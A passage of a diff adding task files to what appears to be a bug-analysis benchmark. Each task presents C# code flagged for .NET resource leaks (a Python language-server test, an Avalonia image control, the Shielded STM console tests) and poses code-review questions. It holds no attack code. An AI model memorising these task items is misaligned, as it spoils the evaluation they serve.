+                            return i <= 0 ? m.FullName : m.FullName.Remove(i);
+                        })
+                        .AsParallel()
+                        .SelectMany(g => g.Select(m => Tuple.Create(m, interp.ImportModule(m.ModuleName))))
+                    ) {
+                        var modName = r.Item1;
+                        var mod = r.Item2;
+
+                        anyExtensionSeen |= modName.IsNativeExtension;
+                        if (mod == null) {
+                            Trace.TraceWarning("failed to import {0} from {1}", modName.ModuleName, modName.SourceFile);
+                        } else if (mod is AstScrapedPythonModule aspm) {
+                            var errors = aspm.ParseErrors.ToArray();
+                            if (errors.Any()) {
+                                anyParseError = true;
+                                Trace.TraceError("Parse errors in {0}", modName.SourceFile);
+                                foreach (var e in errors) {
+                                    Trace.TraceError(e);
+                                }
+                            } else {
+                                anySuccess = true;
+                                anyExtensionSuccess |= modName.IsNativeExtension;
+                                mod.GetMemberNames(null).ToList();
+                            }
+                        } else if (mod is AstPythonModule apm) {
+                            var filteredErrors = apm.ParseErrors.Where(e => !e.Contains("encoding problem")).ToArray();
+                            if (filteredErrors.Any()) {
+                                // Do not fail due to errors in installed packages
+                                if (!apm.FilePath.Contains("site-packages")) {
+                                    anyParseError = true;
+                                }
+                                Trace.TraceError("Parse errors in {0}", modName.SourceFile);
+                                foreach (var e in filteredErrors) {
+                                    Trace.TraceError(e);
+                                }
+                            } else {
+                                anySuccess = true;
+                                anyExtensionSuccess |= modName.IsNativeExtension;
+                                mod.GetMemberNames(null).ToList();
+                            }
+                        } else {
+                            Trace.TraceError("imported {0} as type {1}", modName.ModuleName, mod.GetType().FullName);
+                        }
+                    }
+                } finally {
+                    _analysisLog = factory.GetAnalysisLogContent(CultureInfo.InvariantCulture);
+                    PythonModuleLoader.KeepParseErrors = false;
+                }
+            }
+            Assert.IsTrue(anySuccess, "failed to import any modules at all");
+            Assert.IsTrue(anyExtensionSuccess || !anyExtensionSeen, "failed to import all extension modules");
+            Assert.IsFalse(anyParseError, "parse errors occurred");
+        }
+
+        #endregion
+        #region Type Annotation tests
+        [TestMethod, Priority(0)]
+        public async Task AstTypeAnnotationConversion() {
+            using (var server = await CreateServerAsync()) {
+                var code = @"from ReturnAnnotations import *
+x = f()
+y = g()";
+                var analysis = await server.OpenDefaultDocumentAndGetAnalysisAsync(code);
+
+                analysis.Should().HaveVariable("x").OfTypes(BuiltinTypeId.Int)
+                    .And.HaveVariable("y").OfTypes(BuiltinTypeId.Str)
+                    .And.HaveVariable("f").WithValue<BuiltinFunctionInfo>()
+                    .Which.Should().HaveSingleOverload()
+                    .Which.Should().HaveSingleParameter()
+                    .Which.Should().HaveName("p").And.HaveType("int").And.HaveNoDefaultValue();
+            }
+        }
+        #endregion
+
+        #region Type Shed tests
+        [TestMethod, Priority(0)]
+        public async Task TypeShedElementTree() {
+            using (var server = await CreateServerAsync()) {
+                var code = @"import xml.etree.ElementTree as ET
+
+e = ET.Element()
+e2 = e.makeelement()
+iterfind = e.iterfind
+l = iterfind()";
+                var uri = await server.OpenDefaultDocumentAndGetUriAsync(code);
+                var analysis = await server.GetAnalysisAsync(uri);
+                var elementSignatures = await server.SendSignatureHelp(uri, 2, 15);
+                var makeelementSignatures = await server.SendSignatureHelp(uri, 3, 19);
+                var iterfindSignatures = await server.SendSignatureHelp(uri, 5, 13);
+
+                analysis.Should().HaveVariable("l").OfTypes(BuiltinTypeId.List);
+                elementSignatures.Should().HaveSingleSignature()
+                    .Which.Should().OnlyHaveParameterLabels("tag", "attrib", "**extra");
+                makeelementSignatures.Should().HaveSingleSignature()
+                    .Which.Should().OnlyHaveParameterLabels("tag", "attrib");
+                iterfindSignatures.Should().HaveSingleSignature()
+                    .Which.Should().OnlyHaveParameterLabels("path", "namespaces");
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task TypeShedChildModules() {
+            string[] firstMembers;
+
+            using (var server = await CreateServerAsync()) {
+                server.Analyzer.Limits = new AnalysisLimits { UseTypeStubPackages = false };
+                var analysis = await server.OpenDefaultDocumentAndGetAnalysisAsync(@"import urllib");
+
+                firstMembers = server.Analyzer.GetModuleMembers(analysis.InterpreterContext, new[] { "urllib" })
+                    .Select(m => m.Name)
+                    .ToArray();
+
+                firstMembers.Should().NotBeEmpty().And.Contain(new[] { "parse", "request" });
+            }
+
+            using (var server = await CreateServerAsync()) {
+                server.Analyzer.SetTypeStubPaths(new[] { TypeShedPath });
+                var analysis = await server.OpenDefaultDocumentAndGetAnalysisAsync(@"import urllib");
+
+                var secondMembers = server.Analyzer.GetModuleMembers(analysis.InterpreterContext, new[] { "urllib" })
+                    .Select(m => m.Name)
+                    .ToArray();
+
+                secondMembers.Should().OnlyContain(firstMembers);
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task TypeShedSysExcInfo() {
+            using (var server = await CreateServerAsync()) {
+                server.Analyzer.SetTypeStubPaths(new[] { TypeShedPath });
+                var code = @"import sys
+
+e1, e2, e3 = sys.exc_info()";
+                var analysis = await server.OpenDefaultDocumentAndGetAnalysisAsync(code);
+
+                analysis.Should().HaveVariable("e1").OfTypes(BuiltinTypeId.Type)
+                    .And.HaveVariable("e2").OfTypes("BaseException")
+                    .And.HaveVariable("e3").OfTypes(BuiltinTypeId.NoneType)
+                    .And.HaveVariable("sys").WithValue<BuiltinModule>()
+                    .Which.Should().HaveMember<BuiltinFunctionInfo>("exc_info")
+                    .Which.Should().HaveOverloadCount(2)
+                    .And.HaveOverloadAt(0).WithSingleReturnType("tuple")
+                    .And.HaveOverloadAt(1).WithSingleReturnType("tuple[type, BaseException, None]");
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task TypeShedJsonMakeScanner() {
+            using (var server = await CreateServerAsync()) {
+                server.Analyzer.SetTypeStubPaths(new[] { TypeShedPath });
+                var code = @"import _json
+
+scanner = _json.make_scanner()";
+                var analysis = await server.OpenDefaultDocumentAndGetAnalysisAsync(code);
+
+                analysis.Should().HaveVariable("scanner").WithValue<IBuiltinInstanceInfo>()
+                    .Which.Should().HaveSingleOverload()
+                    .Which.Should().HaveName("__call__")
+                    .And.HaveParameters("string", "index")
+                    .And.HaveParameterAt(0).WithName("string").WithType("str").WithNoDefaultValue()
+                    .And.HaveParameterAt(1).WithName("index").WithType("int").WithNoDefaultValue()
+                    .And.HaveSingleReturnType("tuple[None, int]");
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public async Task TypeShedSysInfo() {
+            using (var server = await CreateServerAsync()) {
+                server.Analyzer.SetTypeStubPaths(new[] { TypeShedPath });
+                server.Analyzer.Limits = new AnalysisLimits { UseTypeStubPackages = true, UseTypeStubPackagesExclusively = true };
+
+                var code = @"import sys
+
+l_1 = sys.argv
+
+s_1 = sys.argv[0]
+s_2 = next(iter(sys.argv))
+s_3 = sys.stdout.encoding
+
+f_1 = sys.stdout.write
+f_2 = sys.__stdin__.read
+
+i_1 = sys.flags.debug
+i_2 = sys.flags.quiet
+i_3 = sys.implementation.version.major
+i_4 = sys.getsizeof(None)
+i_5 = sys.getwindowsversion().platform_version[0]
+";
+                var analysis = await server.OpenDefaultDocumentAndGetAnalysisAsync(code);
+
+                analysis.Should().HaveVariable("l_1").OfTypes(BuiltinTypeId.List)
+                    .And.HaveVariable("s_1").OfTypes(BuiltinTypeId.Str)
+                    .And.HaveVariable("s_2").OfTypes(BuiltinTypeId.Str)
+                    .And.HaveVariable("s_3").OfTypes(BuiltinTypeId.Str)
+                    .And.HaveVariable("f_1").OfTypes(BuiltinTypeId.BuiltinMethodDescriptor)
+                    .And.HaveVariable("f_2").OfTypes(BuiltinTypeId.BuiltinMethodDescriptor)
+                    .And.HaveVariable("i_1").OfTypes(BuiltinTypeId.Int)
+                    .And.HaveVariable("i_2").OfTypes(BuiltinTypeId.Int)
+                    .And.HaveVariable("i_3").OfTypes(BuiltinTypeId.Int)
+                    .And.HaveVariable("i_4").OfTypes(BuiltinTypeId.Int)
+                    .And.HaveVariable("i_5").OfTypes(BuiltinTypeId.Int);
+            }
+        }
+
+        [TestMethod, Priority(0)]
+        public void TypeStubConditionalDefine() {
+            var seen = new HashSet<Version>();
+
+            var code = @"import sys
+
+if sys.version_info < (2, 7):
+    LT_2_7 : bool = ...
+if sys.version_info <= (2, 7):
+    LE_2_7 : bool = ...
+if sys.version_info > (2, 7):
+    GT_2_7 : bool = ...
+if sys.version_info >= (2, 7):
+    GE_2_7 : bool = ...
+
+";
+
+            var fullSet = new[] { "LT_2_7", "LE_2_7", "GT_2_7", "GE_2_7" };
+
+            foreach (var ver in PythonVersions.Versions) {
+                if (!seen.Add(ver.Version)) {
+                    continue;
+                }
+
+                Console.WriteLine("Testing with {0}", ver.InterpreterPath);
+
+                var interpreter = InterpreterFactoryCreator.CreateAnalysisInterpreterFactory(ver.Version).CreateInterpreter();
+                var entry = PythonModuleLoader.FromStream(interpreter, new MemoryStream(Encoding.ASCII.GetBytes(code)), "testmodule.pyi", ver.Version.ToLanguageVersion());
+
+                var expected = new List<string>();
+                var pythonVersion = ver.Version.ToLanguageVersion();
+                if (pythonVersion.Is3x()) {
+                    expected.Add("GT_2_7");
+                    expected.Add("GE_2_7");
+                } else if (pythonVersion == PythonLanguageVersion.V27) {
+                    expected.Add("GE_2_7");
+                    expected.Add("LE_2_7");
+                } else {
+                    expected.Add("LT_2_7");
+                    expected.Add("LE_2_7");
+                }
+
+                entry.GetMemberNames(null).Where(n => n.EndsWithOrdinal("2_7"))
+                    .Should().Contain(expected)
+                    .And.NotContain(fullSet.Except(expected));
+            }
+        }
+        #endregion
+
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of Microsoft.Python.LanguageServer.Implementation.Server::.ctor() at Line 87) of type Microsoft.Python.LanguageServer.Implementation.Server in method "Task`1<!0> AstAnalysisTests.CreateServerAsync(InterpreterConfiguration,String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Task`1<!0> AstAnalysisTests.CreateServerAsync(InterpreterConfiguration,String)
+
+### File:
+src/Analysis/Engine/Test/AstAnalysisTests.cs
+
+### Key:
+AstAnalysisTests.cs|CreateServerAsync|DOTNET_RESOURCE_LEAK
+
+### Hash:
+ffe34e7356dc681013b232d91859e554
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0732/instruction.md b/inferredbugs-0732/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ad6128ec24243b0087cb11eed18c7b8f475b195d
--- /dev/null
+++ b/inferredbugs-0732/instruction.md
@@ -0,0 +1,157 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Dynaframe3
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Diagnostics;
+using Avalonia;
+using Avalonia.Controls;
+using Avalonia.Markup.Xaml;
+using Avalonia.Media;
+using Avalonia.Media.Imaging;
+using Avalonia.Platform;
+using Avalonia.Rendering.SceneGraph;
+using Avalonia.Skia;
+using Avalonia.Threading;
+using SkiaSharp;
+
+
+namespace Dynaframe3.ImagePresenters
+{
+    public partial class BlurBoxImage : UserControl
+    {
+        Image backgroundImage;
+        Image foregroundImage;
+
+        Bitmap bitmapData;
+        SKImageInfo blurInfo;
+        SKBitmap blurredbitmap;
+        SKPaint blurPaint;
+
+
+        public string ImageString { get; set; }
+        public BlurBoxImage()
+        {
+            ClipToBounds = true;
+            InitializeComponent();
+            ImageString = "";
+            backgroundImage = this.FindControl<Image>("backgroundImage");
+            foregroundImage = this.FindControl<Image>("foregroundImage");
+
+            // Frontloading some allocations
+            blurInfo = new SKImageInfo(640, 480);
+            blurredbitmap = new SKBitmap(blurInfo);
+            blurPaint = new SKPaint();
+            blurPaint.ImageFilter = SKImageFilter.CreateBlur(20, 20);
+        }
+
+        /// <summary>
+        /// Set the 'stretch' of the foreground image
+        /// </summary>
+        /// <param name="stretch"></param>
+        public void SetImageStretch(Stretch stretch)
+        {
+            foregroundImage.Stretch = stretch;
+        }
+        private void InitializeComponent()
+        {
+            AvaloniaXamlLoader.Load(this);
+
+
+            if (!String.IsNullOrEmpty(ImageString))
+            {
+                ShowBitmapWithBlurbox();
+            }
+        }
+        public void UpdateImage()
+        {
+            ShowBitmapWithBlurbox();
+        }
+
+        public void UpdateImage(string newImagePath)
+        {
+            ImageString = newImagePath;
+            ShowBitmapWithBlurbox();
+        }
+
+
+        private void ShowBitmapWithBlurbox()
+        {
+            SKBitmap bitmap = SKBitmap.Decode(ImageString);
+            bitmap.ScalePixels(blurredbitmap, SKFilterQuality.Medium);
+
+            SKCanvas canvas = new SKCanvas(blurredbitmap);
+            canvas.DrawBitmap(blurredbitmap, new SKPoint(0, 0), blurPaint);
+
+            SKData data = SKImage.FromBitmap(blurredbitmap).Encode(SKEncodedImageFormat.Jpeg, 100);
+
+            bitmapData = new Bitmap(data.AsStream());
+            backgroundImage.Source = null;
+            foregroundImage.Source = null;
+
+            backgroundImage.Source = bitmapData;
+            foregroundImage.Source = new Bitmap(ImageString);
+
+            bitmap.Dispose();
+            //blurredbitmap.Dispose();
+            canvas.Dispose();
+            //blurPaint.Dispose();
+            data.Dispose();
+            
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource this.Dynaframe3.ImagePresenters.BlurBoxImage.bitmapData of type Avalonia.Media.Imaging.Bitmap, Leaked resource (output of Avalonia.Media.Imaging.Bitmap::.ctor() at Line 89) of type Avalonia.Media.Imaging.Bitmap in method "Void BlurBoxImage.ShowBitmapWithBlurbox()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void BlurBoxImage.ShowBitmapWithBlurbox()
+
+### File:
+ImagePresenters/BlurBoxImage.axaml.cs
+
+### Key:
+BlurBoxImage.axaml.cs|ShowBitmapWithBlurbox|DOTNET_RESOURCE_LEAK
+
+### Hash:
+5f80708eb98cd03709be47a3e2acc61c
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0735/instruction.md b/inferredbugs-0735/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..99d8c50a90567bc87c884e00afd279ae3e1915a7
--- /dev/null
+++ b/inferredbugs-0735/instruction.md
@@ -0,0 +1,649 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Shielded
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Collections.Concurrent;
+using System.Linq;
+using System.Threading;
+using System.Diagnostics;
+using System.Threading.Tasks;
+using Shielded;
+
+namespace ConsoleTests
+{
+    class MainClass
+    {
+        private static Stopwatch _timer;
+
+        public static long mtTest(string name, int taskCount, Func<int, Task> task)
+        {
+            if (_timer == null)
+                _timer = Stopwatch.StartNew();
+
+            long time;
+            Console.Write("Test - {0}...", name);
+            time = _timer.ElapsedMilliseconds;
+            Task.WaitAll(
+                Enumerable.Range(0, taskCount)
+                    .Select(task)
+                    .ToArray());
+            time = _timer.ElapsedMilliseconds - time;
+            return time;
+        }
+
+        public static void TimeTests()
+        {
+            var randomizr = new Random();
+            int transactionCounter;
+            int sleepTime = 1;
+            int taskCount = 1000;
+
+            foreach (var i in Enumerable.Repeat(0, 5))
+            {
+                var x = new int[100];
+                transactionCounter = 0;
+                var time = mtTest("dirty write", taskCount, _ =>
+                {
+                    var rnd = randomizr.Next(100);
+                    return Task.Factory.StartNew(() =>
+                    {
+                        Interlocked.Increment(ref transactionCounter);
+                        int v = x[rnd];
+                        if (sleepTime > 0) Thread.Sleep(sleepTime);
+                        x[rnd] = v + 1;
+                    },
+                    sleepTime > 0 ? TaskCreationOptions.LongRunning : TaskCreationOptions.None
+                    );
+                });
+                var correct = x.Sum() == taskCount;
+                Console.WriteLine(" {0} ms with {1} iterations and is {2}.",
+                    time, transactionCounter, correct ? "correct" : "incorrect");
+            }
+
+            var lockCount = 10;
+            foreach (var i in Enumerable.Repeat(0, 5))
+            {
+                var x = new int[100];
+                transactionCounter = 0;
+                var l = Enumerable.Repeat(0, lockCount).Select(_ => new object()).ToArray();
+                var time = mtTest(string.Format("{0} lock write", lockCount), taskCount, _ =>
+                {
+                    var rnd = randomizr.Next(100);
+                    return Task.Factory.StartNew(() =>
+                    {
+                        lock (l[rnd % lockCount])
+                        {
+                            Interlocked.Increment(ref transactionCounter);
+                            int v = x[rnd];
+                            if (sleepTime > 0) Thread.Sleep(sleepTime);
+                            x[rnd] = v + 1;
+                        }
+                    },
+                    sleepTime > 0 ? TaskCreationOptions.LongRunning : TaskCreationOptions.None
+                    );
+                });
+                var correct = x.Sum() == taskCount;
+                Console.WriteLine(" {0} ms with {1} iterations and is {2}.",
+                    time, transactionCounter, correct ? "correct" : "incorrect");
+            }
+
+            foreach (var i in Enumerable.Repeat(0, 5))
+            {
+                var shx = Enumerable.Repeat(0, 100).Select(n => new Shielded<int>(n)).ToArray();
+                transactionCounter = 0;
+                var time = mtTest("shielded2 write", taskCount, _ =>
+                {
+                    var rnd = randomizr.Next(100);
+                    return Task.Factory.StartNew(() =>
+                    {
+                        Shield.InTransaction(() =>
+                        {
+                            Interlocked.Increment(ref transactionCounter);
+                            int v = shx[rnd];
+                            if (sleepTime > 0) Thread.Sleep(sleepTime);
+                            shx[rnd].Modify((ref int a) => a = v + 1);
+                        });
+                    },
+                    sleepTime > 0 ? TaskCreationOptions.LongRunning : TaskCreationOptions.None
+                    );
+                });
+                var correct = shx.Sum(s => s.Read) == taskCount;
+                Console.WriteLine(" {0} ms with {1} iterations and is {2}.",
+                    time, transactionCounter, correct ? "correct" : "incorrect");
+            }
+        }
+
+        static void OneTransaction()
+        {
+            Shielded<int> sh = new Shielded<int>();
+            Shield.InTransaction(() =>
+            {
+                int x = sh;
+                Console.WriteLine("Read: {0}", x);
+                sh.Modify((ref int a) => a = x + 1);
+                Console.WriteLine("Read after increment: {0}", sh.Read);
+            });
+        }
+
+
+        struct Account
+        {
+            public int Id;
+            public decimal Balance;
+            // beware - copies of this struct share this reference!
+            public List<Transfer> Transfers;
+        }
+
+        struct Transfer
+        {
+            public int OtherId;
+            public decimal AmountReceived;
+        }
+
+        static void ControlledRace()
+        {
+            var acc1 = new Shielded<Account>(new Account()
+            {
+                Id = 1,
+                Balance = 1000M,
+                Transfers = new List<Transfer>()
+            });
+            var acc2 = new Shielded<Account>(new Account()
+            {
+                Id = 2,
+                Balance = 1000M,
+                Transfers = new List<Transfer>()
+            });
+            int transactionCount = 0;
+
+            mtTest("controlled race", 20, n =>
+            {
+                if (n % 2 == 0)
+                    return Task.Factory.StartNew(() =>
+                    {
+                        Shield.InTransaction(() =>
+                        {
+                            Interlocked.Increment(ref transactionCount);
+                            Shield.SideEffect(() => Console.WriteLine("Transferred 100.00 .. acc1 -> acc2"),
+                                () => Console.WriteLine("Task 1 rollback!"));
+                            acc1.Modify((ref Account a) =>
+                            {
+                                a.Balance = a.Balance - 100M;
+                                var list = a.Transfers;
+                                Shield.SideEffect(() => list.Add(
+                                    new Transfer() { OtherId = acc2.Read.Id, AmountReceived = -100M }));
+                            });
+                            Thread.Sleep(100);
+                            acc2.Modify((ref Account a) =>
+                            {
+                                a.Balance = a.Balance + 100M;
+                                var list = a.Transfers;
+                                Shield.SideEffect(() => list.Add(
+                                    new Transfer() { OtherId = acc1.Read.Id, AmountReceived = 100M }));
+                            });
+                        });
+                    }, TaskCreationOptions.LongRunning);
+                else
+                    return Task.Factory.StartNew(() =>
+                    {
+                        Shield.InTransaction(() =>
+                        {
+                            Interlocked.Increment(ref transactionCount);
+                            Shield.SideEffect(() => Console.WriteLine("Transferred 200.00 .. acc1 <- acc2"),
+                                () => Console.WriteLine("Task 2 rollback!"));
+                            acc2.Modify((ref Account a) =>
+                            {
+                                a.Balance = a.Balance - 200M;
+                                var list = a.Transfers;
+                                Shield.SideEffect(() => list.Add(
+                                    new Transfer() { OtherId = acc1.Read.Id, AmountReceived = -200M }));
+                            });
+                            Thread.Sleep(250);
+                            acc1.Modify((ref Account a) =>
+                            {
+                                a.Balance = a.Balance + 200M;
+                                var list = a.Transfers;
+                                Shield.SideEffect(() => list.Add(
+                                    new Transfer() { OtherId = acc2.Read.Id, AmountReceived = 200M }));
+                            });
+                        });
+                    }, TaskCreationOptions.LongRunning);
+            });
+            Console.WriteLine("\nCompleted 20 transactions in {0} total attempts.", transactionCount);
+            Console.WriteLine("Account 1 balance: {0}", acc1.Read.Balance);
+            foreach (var t in acc1.Read.Transfers)
+            {
+                Console.WriteLine("  {0:####,00}", t.AmountReceived);
+            }
+            Console.WriteLine("\nAccount 2 balance: {0}", acc2.Read.Balance);
+            foreach (var t in acc2.Read.Transfers)
+            {
+                Console.WriteLine("  {0:####,00}", t.AmountReceived);
+            }
+        }
+
+        private static void DictionaryTest()
+        {
+            ShieldedDict<int, Shielded<int>> dict = new ShieldedDict<int, Shielded<int>>();
+            var randomizr = new Random();
+            foreach (var _ in Enumerable.Repeat(0, 10))
+            {
+                var transactionCounter = 0;
+                var time = mtTest("dictionary", 1000, i =>
+                {
+                    var rnd = randomizr.Next(100);
+                    if (i % 2 == 0)
+                        // adder task - 500 of these
+                        return Task.Factory.StartNew(() =>
+                        {
+                            Shield.InTransaction(() =>
+                            {
+                                Interlocked.Increment(ref transactionCounter);
+                                var v = dict[rnd];
+                                int? num = v != null ? (int?)v.Read : null;
+                                Thread.Sleep(10);
+                                if (v == null)
+                                    dict[rnd] = new Shielded<int>(1);
+                                else if (v.Read == -1)
+                                    dict[rnd] = null;
+                                else
+                                    v.Modify((ref int a) => a = num.Value + 1);
+                            }
+                            );
+                        },
+                        TaskCreationOptions.LongRunning
+                        );
+                    else
+                        // subtractor task - 500 of these
+                        return Task.Factory.StartNew(() =>
+                        {
+                            Shield.InTransaction(() =>
+                            {
+                                Interlocked.Increment(ref transactionCounter);
+                                var v = dict[rnd];
+                                int? num = v != null ? (int?)v.Read : null;
+                                Thread.Sleep(10);
+                                if (v == null)
+                                    dict[rnd] = new Shielded<int>(-1);
+                                else if (v.Read == 1)
+                                    dict[rnd] = null;
+                                else
+                                    v.Modify((ref int a) => a = num.Value - 1);
+                            }
+                            );
+                        },
+                        TaskCreationOptions.LongRunning
+                        );
+                });
+                var correct = Enumerable.Range(0, 100).Sum(n => dict[n] == null ? 0 : dict[n].Read) == 0;
+                Console.WriteLine(" {0} ms with {1} iterations and is {2}.",
+                    time, transactionCounter, correct ? "correct" : "incorrect");
+            }
+        }
+
+        /// <summary>
+        /// Creates a BetShop, and tries to buy a large number of random tickets. Afterwards it
+        /// checks that the rule limiting same ticket winnings is not violated.
+        /// </summary>
+        public static void BetShopTest()
+        {
+            int numEvents = 100;
+            var betShop = new BetShop(numEvents);
+            var randomizr = new Random();
+            int reportEvery = 1000;
+            //Shielded<int> nextReport = new Shielded<int>(reportEvery);
+
+            //Shield.Conditional(() => betShop.TicketCount >= nextReport, () =>
+            //{
+            //    nextReport.Modify((ref int n) => n += reportEvery);
+            //    Shield.SideEffect(() =>
+            //    {
+            //        Console.Write(" {0}..", betShop.TicketCount);
+            //    });
+            //    return true;
+            //});
+            Shielded<int> lastReport = new Shielded<int>(0);
+            Shielded<DateTime> lastTime = new Shielded<DateTime>(DateTime.UtcNow);
+
+            Shield.Conditional(() => betShop.TicketCount >= lastReport + reportEvery, () =>
+            {
+                DateTime newNow = DateTime.UtcNow;
+                int count = betShop.TicketCount;
+                int speed = (count - lastReport) * 1000 / (int)newNow.Subtract(lastTime).TotalMilliseconds;
+                lastTime.Assign(newNow);
+                lastReport.Modify((ref int n) => n += reportEvery);
+                Shield.SideEffect(() =>
+                {
+                    Console.Write("\n{0} at {1} item/s", count, speed);
+                });
+                return true;
+            });
+
+
+            var time = mtTest("bet shop w/ " + numEvents, 50000, i =>
+            {
+                decimal payIn = (randomizr.Next(10) + 1m) * 1;
+                int event1Id = randomizr.Next(numEvents) + 1;
+                int event2Id = randomizr.Next(numEvents) + 1;
+                int event3Id = randomizr.Next(numEvents) + 1;
+                int offer1Ind = randomizr.Next(3);
+                int offer2Ind = randomizr.Next(3);
+                int offer3Ind = randomizr.Next(3);
+                return Task.Factory.StartNew(() => Shield.InTransaction(() =>
+                {
+                    var offer1 = betShop.Events[event1Id].Read.BetOffers[offer1Ind];
+                    var offer2 = betShop.Events[event2Id].Read.BetOffers[offer2Ind];
+                    var offer3 = betShop.Events[event3Id].Read.BetOffers[offer3Ind];
+                    betShop.BuyTicket(payIn, offer1, offer2, offer3);
+                }));
+            });
+            int total;
+            var totalCorrect = betShop.VerifyTickets(out total);
+            Console.WriteLine(" {0} ms with {1} tickets paid in and is {2}.",
+                time, total, totalCorrect ? "correct" : "incorrect");
+        }
+
+        class TreeItem
+        {
+            public Guid Id = Guid.NewGuid();
+        }
+
+        public static void TreeTest()
+        {
+            int numTasks = 100000;
+            int reportEvery = 1000;
+
+            ShieldedTree<Guid, TreeItem> tree = new ShieldedTree<Guid, TreeItem>();
+            int transactionCount = 0;
+            Shielded<int> lastReport = new Shielded<int>(0);
+            Shielded<int> countComplete = new Shielded<int>(0);
+//            Shielded<DateTime> lastTime = new Shielded<DateTime>(DateTime.UtcNow);
+//
+//            Shield.Conditional(() => countComplete >= lastReport + reportEvery, () =>
+//            {
+//                DateTime newNow = DateTime.UtcNow;
+//                int speed = (countComplete - lastReport) * 1000 / (int)newNow.Subtract(lastTime).TotalMilliseconds;
+//                lastTime.Assign(newNow);
+//                lastReport.Modify((ref int n) => n += reportEvery);
+//                int count = countComplete;
+//                Shield.SideEffect(() =>
+//                {
+//                    Console.Write("\n{0} at {1} item/s", count, speed);
+//                }
+//                );
+//                return true;
+//            }
+//            );
+
+            if (true)
+            {
+                var treeTime = mtTest("tree", numTasks, i =>
+                {
+                    return Task.Factory.StartNew(() =>
+                    {
+                        var item1 = new TreeItem();
+                        Shield.InTransaction(() =>
+                        {
+                            Interlocked.Increment(ref transactionCount);
+                            tree.Add(item1.Id, item1);
+//                            countComplete.Commute((ref int c) => c++);
+                        }
+                        );
+                    }
+                    );
+                }
+                );
+                Guid? previous = null;
+                bool correct = true;
+                Shield.InTransaction(() =>
+                {
+                    int count = 0;
+                    foreach (var item in tree)
+                    {
+                        count++;
+                        if (previous != null && previous.Value.CompareTo(item.Key) > 0)
+                        {
+                            correct = false;
+                            break;
+                        }
+                        previous = item.Key;
+                    }
+                    correct = correct && (count == numTasks);
+                }
+                );
+                Console.WriteLine("\n -- {0} ms with {1} iterations and is {2}.",
+                    treeTime, transactionCount, correct ? "correct" : "incorrect");
+            }
+
+            if (true)
+            {
+                ShieldedDict<Guid, TreeItem> dict = new ShieldedDict<Guid, TreeItem>();
+                transactionCount = 0;
+                Shield.InTransaction(() =>
+                {
+                    countComplete.Assign(0);
+                    lastReport.Assign(0);
+                }
+                );
+
+                var time = mtTest("dictionary", numTasks, i =>
+                {
+                    return Task.Factory.StartNew(() =>
+                    {
+                        var item1 = new TreeItem();
+                        Shield.InTransaction(() =>
+                        {
+                            Interlocked.Increment(ref transactionCount);
+                            dict[item1.Id] = item1;
+//                            countComplete.Commute((ref int c) => c++);
+                        }
+                        );
+                    }
+                    );
+                }
+                );
+                Console.WriteLine("\n -- {0} ms with {1} iterations. Not sorted.",
+                time, transactionCount);
+            }
+
+            if (true)
+            {
+                ConcurrentDictionary<Guid, TreeItem> dict = new ConcurrentDictionary<Guid, TreeItem>();
+
+                var time = mtTest("ConcurrentDictionary", numTasks, i =>
+                {
+                    return Task.Factory.StartNew(() =>
+                    {
+                        var item1 = new TreeItem();
+                        dict[item1.Id] = item1;
+                    }
+                    );
+                }
+                );
+                Console.WriteLine("\n -- {0} ms with {1} iterations. Not sorted.",
+                time, numTasks);
+            }
+        }
+
+        public static void SkewTest()
+        {
+            var numTasks = 1000;
+            var numFields = 10;
+            var transactionCount = 0;
+            var randomizr = new Random();
+            var shA = Enumerable.Repeat(0, numFields).Select(_ => new Shielded<int>(100)).ToArray();
+            var shB = Enumerable.Repeat(0, numFields).Select(_ => new Shielded<int>(100)).ToArray();
+
+            var time = mtTest("skew write", numTasks, i =>
+            {
+                int index = randomizr.Next(numFields << 1);
+                int amount = randomizr.Next(10) + 1;
+                return Task.Factory.StartNew(() =>
+                {
+                    Shield.InTransaction(() =>
+                    {
+                        Interlocked.Increment(ref transactionCount);
+                        // take one from one of the arrays, but only if it does not take sum under 100
+                        var sum = shA[index >> 1] + shB[index >> 1];
+                        if (sum - amount >= 100)
+                        {
